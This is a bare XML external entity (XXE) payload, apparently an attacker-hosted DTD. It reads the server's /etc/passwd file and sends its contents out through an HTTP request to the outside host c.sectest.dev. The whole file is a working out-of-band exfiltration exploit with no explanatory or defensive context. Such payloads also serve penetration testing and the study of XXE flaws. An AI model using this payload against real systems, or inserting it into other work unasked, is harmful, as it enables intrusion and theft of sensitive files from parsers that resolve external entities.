<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://c.sectest.dev/dtd?d=%file;'>">
%eval;
%exfil;